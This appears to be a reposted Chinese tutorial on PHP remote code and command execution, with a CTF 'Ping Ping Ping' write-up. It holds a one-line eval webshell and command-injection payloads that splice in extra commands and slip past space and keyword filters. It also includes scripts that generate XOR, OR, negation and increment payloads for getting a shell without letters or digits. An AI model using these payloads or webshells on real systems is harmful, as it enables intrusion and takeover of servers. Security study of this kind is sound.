web渗透—RCE

news2025/1/12 23:30:37
一:代码执行
  • 相关函数

1、eval()函数
assert()函数

(1)原理:将用户提交或者传递的字符串当作php代码执行

(2)passby:单引号绕过:闭合+注释;开启GPC的话就无法绕过(GPC就是将单引号转换为"反斜杠+单引号")

eg:

<?php 
    highlight_file(__FILE__);//高亮显示代码 
    $cmd = $_GET['cmd'] 
    //GET传值:url/?cmd=phpinfo();
    eval('$cmd');//必须传递一个完整语句;参数后面必须加分号!
    assert('$cmd');//可以不加分号! 
?> 
//一句话木马的介绍
<?php eval($_POST["cmd"]);?> 

2、preg_replace()

原理:正则表达式的匹配;其中存在一个危险的字符/e修饰符;使preg_replace()将replaement参数当作php代码执行

<?php 
    highlight_file(__FILE__);
    preg_replace('/abc/e',$_RWQUST['cmd'],'abcd'); 
    //GET传值方式:url/?cmd=phpinfo() 
    preg_replace('/<data>(.*)<\/data>/e','$ret="\\1"',$cmd);
?> 
    //如果匹配到abc,就会将用户传递进来的参数当作php代码进行执行 

3、自定义函数

(1)create_function(string $args,string $code)
原理:主要用来创建匿名函数;如果没有对传递参数进行过滤;攻击者可以构造特殊的字符串来执行任意命令
 

<?php
    $cmd = $_GET['cmd'];
    //GET传值方式:url/?cmd=phpinfo();
    $func = create_function('',$_REQUEST['cmd']); 
    $func();
?> 

(2)自定义函数回调

<?php 
    判断是否回调 
    //echo is_callable('assert');
    //可以回调显示1;否则显示0;根据回显函数执行系统命令 
    call_user_func函数 
    //call_user_func('assert',$GET['cmd']) 
    // GET传值:url/?cmd=phpinfo() 
    call_user_func_array函数 
    //$cmd = $GET['cmd'] 
    //call_user_func_array('assert',$cmd) 
    //以数组的方式传递;GET传值方式:url/?cmd[]=phpinfo() 
?> 

4、动态函数

<?php 
    //定义函数输出a 
    function a(){ 
        echo 'a'; 
    } 
    //定义函数输出b 
    function b(){ 
        echo 'b'; 
    } 
    //判断是否通过GET方式传递了func参数 
    if(isset($_GET["func"]))){ 
        //接受传递的参数 
        $myfunc = $GET["func"]; 
        //调用函数执行传递进来的命令 
        echo $myfunc();
    }
    //GET传值: url?func=phpinfo(); 
?> 
二:命令执行
  • 命令执行相关函数

(1)system()函数

eg:

system('ls'); #查看当前系统目录.ls<==>pwd
system('ls /'); #查看上一级目录信息
system('cat /falg'); #查看flag内容 

(2)exec(参数,执行结果)函数

eg:

<?php 
    highlight_file(__FILE__); 
    $cmd = $GET['cmd']; 
    exec($cmd.$result); 
    //将用户传递的参数当作系统命令执行;并返回结果给
    $result echo $result; 
    var_dump($result) 
    //输出执行命令的参数 
?> 

(3)shell_exec()函数与passthru函数

原理:与exec的区别就是shell_exec函数和passthru函数会直接输出执行结果

<?php 
    highlight_file(__FILE__); 
    $cmd = $GET['cmd']; 
    //$output = shell_exec($cmd); 
    //echo $output 
    //passthru($cmd); 
?> 

(4)反引号

与shell_exec原理相同;对传递进来的cmd参数用反引号括起来(就会当作系统命令执行)

<?php 
    highlight_file(__FILE__); 
    $cmd = $GET['cmd']; 
    $output = `$cmd` 
    echo $output
  • 防御措施
  • 验证是否存在命令注入

(1)延时执行

ls -alh|sleep 3 
#GET传值方式 url/?cmd=ls|sleep 3;如果延时执行那么存在命令执行;f12在网络中看响应时间 

(2)HTTP请求

# 使用nc 和 curl结合使用;判断是否请求成功 
nc -lcf 8000 
curl ip 8000 //如果nc处有回显信息说明请求连接成功 

(3)DNS请求

# 将目标url转为域名
url/?cmd=ping 域名 #根据回显判断是否存在 
  • 命令执行绕过

(1)echo拼接(用.进行拼接)

image

换行符(%0a)、 回车符(%0d)、 连续命令(;)、 管道符(|)、 逻辑符(&&,||) 
GET传值方式 
url/?cmd=ls;ifconfig<==>url/?cmd=ls|ifconfig<==>url/?cmd=ls%0aifconfig 

(2)linux中空格的过滤

空格<==>%09(tab)<==>${IFS}<==>$IFS<==>$IFS$9<==>< 
eg: 
cat flag.php <==>cat%09flag.php<==>cat${IFS}flag.php<==>cat$IFSflag.php<==>cat<flag.php 

(3)关键字系统命令被过滤

;a=l;b=s;$a$b<==>ls 
GET传值:url/?cmd=pwd;;a=l;b=s;$a$b 

(4)base64编码

三:绕过

(1)在ctf题目当中;我们会碰到过滤字母和数字的情况;可以通异或;取反;自增;或进行绕过

<?php 
    if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { 
        eval($_GET['shell']); 
    } 

(2)异或绕过

eg1: 5和z进行异或

原理:字符 “5” 的ascii码是53,其二进制是110101,字母Z的ascii码是90,二进制是1011010;异或一下就是1101111;转化为asscii就是o

image

异或脚本
 

// rce_xor.php
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents=""; 
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) { 
        if($i<16){ 
            $hex_i='0'.dechex($i); 
        } 
        else{ 
            $hex_i=dechex($i); 
        } 
        if($j<16){ 
            $hex_j='0'.dechex($j); 
        }
        else{ 
            $hex_j=dechex($j); 
        } 
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可 
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ 
            echo ""; 
        } 
        else{ 
            $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b)); 
            if (ord($c)>=32&ord($c)<=126) { 
                $contents=$contents.$c." ".$a." ".$b."\n"; 
            } 
        } 
    } 
}
fwrite($myfile,$contents); 
fclose($myfile); 
# -*- coding: utf-8 -*-
# rce_xor.py

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

eg:

(3)或绕过

<?php

/* author yu22x */

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

(4)取反绕过

<?php
//在命令行中运行
// 取反
// 无数字字母getshell

while(true) {
    fwrite(STDOUT,PHP_EOL.'[+]your function: ');
    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    fwrite(STDOUT,PHP_EOL.'\n[+]your command: ');
    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';   //两次取反可得到原结果
}

(5)自增绕过

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
 
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
 
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
四:例题讲解

题目1:Ping Ping Ping
首先进行了简单的ping;测试发现过滤了常见的命令连接符;
%0a %0d ; | && || &
使用字典跑一下发现没有对|和;进行过滤;于是列举当前目录/?ip=127.0.0.1|ls

尝试查看一下flag.php;发现过滤了空格;于是使用空格字典进行爆破;发现没有过滤${IFS}和$IFS$9!

再次查看发现对flag进行了过滤
(1)方法1
反引号绕过;构造payload;查看当前的所有文件的内容(由于博客的限制;用引号暂代提一下;就是用反引号将ls括起来;就会将ls当作命令执行!)
/?ip=127.0.0.1|cat$IFS$9'ls'
 

image


(2)方法2;绕过flag的过滤!(linux中的一种语法!)
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2131043.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Redis】缓存和数据库一致性问题及解决方案

往期文章&#xff1a; 【Redis】Redis 底层的数据结构&#xff08;结合源码&#xff09; 【Redis】为什么选择 Redis 做缓存&#xff1f; 【Redis】缓存击穿、缓存穿透、缓存雪崩原理以及多种解决方案 一、前言 在前面的文章中&#xff0c;我们探讨了为什么要使用 Redis…

独居打工人,把超市当顶配食堂

文 | 螳螂观察 作者 | 如意 独自在大城市扎根的年轻人有着自己的小确幸&#xff0c;比如“周末可以睡到下午才起床&#xff0c;不会有任何人打扰”&#xff0c;“瘫在沙发上吃着零食享受一部自己想看很久的电影&#xff0c;也不会被唠叨。” 但生活并不总是尽如人意&#xf…

基于SpringBoot+Vue的学生宿舍水电信息管理系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、SSM项目源码 系统展示 【2025最新】基于JavaSpringBootVueMySQL的…

PDF在线编辑哪家强?2024年4款热门工具大比拼

如今是数字化的时代&#xff0c;PDF 文件对我们工作和学习来说特别重要。不过呢&#xff0c;遇到那些麻烦的 PDF 编辑和转换的事情时&#xff0c;你是不是常常觉得没招儿&#xff0c;甚至还得加班到半夜&#xff1f;别犯愁啦&#xff0c;今天我给你讲讲四款非常好用的 PDF 在线…

深入理解全连接层:从线性代数到 PyTorch 中的 nn.Linear 和 nn.Parameter

文章目录 数学概念&#xff08;全连接层&#xff0c;线性层&#xff09;nn.Linear()nn.Parameter()Q1. 为什么 self.weight 的权重矩阵 shape 使用 ( out_features , in_features ) (\text{out\_features}, \text{in\_features}) (out_features,in_features)而不是 ( in_featur…

【人工智能】OpenAI最新发布的GPT-o1模型,和GPT-4o到底哪个更强?最新分析结果就在这里!

在人工智能的快速发展中&#xff0c;OpenAI的每一次新模型发布都引发了广泛的关注与讨论。2023年9月13日&#xff0c;OpenAI正式推出了名为o1的新模型&#xff0c;这一模型不仅是其系列“推理”模型中的首个代表&#xff0c;更是朝着类人人工智能迈进的重要一步。本文将综合分析…

10款超好用的电脑文件加密软件推荐|2024文件加密软件排行榜

在数字时代&#xff0c;数据安全已成为个人和企业不可忽视的重要议题。加密软件作为守护数据安全的坚固防线&#xff0c;其重要性不言而喻。以下是2024年备受推荐的十款电脑文件加密软件。 1.安秉网盾 安秉网盾以其全面的数据保护和安全防护功能备受企业青睐。它支持多种加密…

C语言内存函数(21)

文章目录 前言一、memcpy的使用和模拟实现二、memmove的使用和模拟实现三、memset函数的使用四、memcmp函数的使用总结 前言 正文开始&#xff0c;发车&#xff01; 一、memcpy的使用和模拟实现 函数模型&#xff1a;void* memcpy(void* destination, const void* source, size…

深入Redis:分布式锁

在一个分布式的系统中&#xff0c;会涉及到多个节点访问同一个公共资源的情况。此时就需要通过锁来做互斥控制&#xff0c;避免出现类似于“线程安全”的问题。 Java中的synchronize只能在当前线程中生效&#xff0c;在分布式的这种多个进程多个主机的场景下就无能为力了。此时…

原型模式详细介绍和代码实现

&#x1f3af; 设计模式专栏&#xff0c;持续更新中&#xff0c; 欢迎订阅&#xff1a;JAVA实现设计模式 &#x1f6e0;️ 希望小伙伴们一键三连&#xff0c;有问题私信都会回复&#xff0c;或者在评论区直接发言 Java实现原型模式 介绍: 原型模式&#xff08;Prototype Patte…

C4D2025来了!亮眼的新功能一览

C4D2025新功能亮点&#xff0c;同步上新的Redshift 2025.0.2。等我体验了再给大家讲详细的 成都渲染101云渲染支持对应软件渲染&#xff0c;3090等显卡&#xff0c;云渲码6666 渲染101云渲码6666 Mograph增强 引入线性域标签&#xff0c;用于精细控制对象参数。 为追踪器对象新…

安泰功率放大器有哪些特点呢

功率放大器是电子设备中的重要组成部分&#xff0c;其作用是将输入信号的电功率放大到足够的水平&#xff0c;以驱动负载&#xff0c;如扬声器或天线。功率放大器有一些独特的特点&#xff0c;这些特点对于各种应用至关重要。下面将详细介绍功率放大器的特点&#xff0c;以更好…

【Vue】移动端访问Vue项目页面无数据,但是PC访问有数据

问题&#xff1a; Vue项目&#xff0c;PC访问时下拉列表有数据&#xff0c;移动端访问时下拉列表没有数据&#xff1b; 思路&#xff1a; 首先打开了Fiddler抓包工具&#xff0c;把抓到的url复制到PC浏览器进行访问&#xff0c;结果发现PC上访问这个页面是有数据的&#xff…

利用Leaflet.js创建交互式地图:绘制固定尺寸的长方形

在现代Web开发中&#xff0c;交互式地图已成为展示地理位置数据的重要工具。Leaflet.js是一个轻量级、功能丰富的开源JavaScript库&#xff0c;用于构建移动友好的交互式地图。在本文中&#xff0c;我们将探讨如何利用Leaflet.js在地图上绘制一个固定尺寸的长方形&#xff0c;扩…

堆+堆排序+topK问题

目录 堆&#xff1a; 1、堆的概念 2、堆的结构 3、堆的实现 3.1、建堆 3.1.1、向上调整建堆(用于堆的插入) 3.1.2、向下调整建堆 3.2、堆的删除 3.3、堆的代码实现 3.3.1、Heap.h 3.3.2、Heap.c 堆排序&#xff1a;&#xff08;O(N*log(N))&#xff09; 1、排序如何…

接口测试用例的编写

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 1、接口测试发现的典型问题 接口测试经常遇到的bug和问题&#xff0c;如下&#xff1a; 传入参数处理不当&#xff0c;导致程序crash类型溢出&#xff0c;导…

下载chromedriver驱动

首先进入关于ChromeDriver最新下载地址&#xff1a;Chrome for Testing availability 进入之后找到与自己所匹配的&#xff0c;在浏览器中查看版本号&#xff0c;下载版本号需要一致。 下载即可&#xff0c;解压&#xff0c;找到 直接放在pycharm下即可 因为在环境变量中早已配…

严重干扰的验证码识别系统源码分享

严重干扰的验证码识别检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Comp…

领夹麦克风哪个品牌好?大疆、西圣、博雅无线麦克风在线测评

​随着科技的不断进步&#xff0c;越来越多的专业音频设备出现在大家的视野中&#xff0c;无线领夹麦克风就是其中之一&#xff0c;并且很多人在视频创作、直播等场景中都会进行选购。但是近些年来无线领夹麦克风市场较为复杂&#xff0c;很多质量不佳的产品混杂其中&#xff0…

安全生产许可证的重要性

在现代社会&#xff0c;安全生产许可证对于企业来说&#xff0c;不仅仅是一种法律要求&#xff0c;更是一种社会责任和企业形象的体现。本文将深入探讨安全生产许可证的重要性&#xff0c;以及它如何影响企业的长期发展和社会责任。 一、法律合规性的重要性 安全生产许可证是企…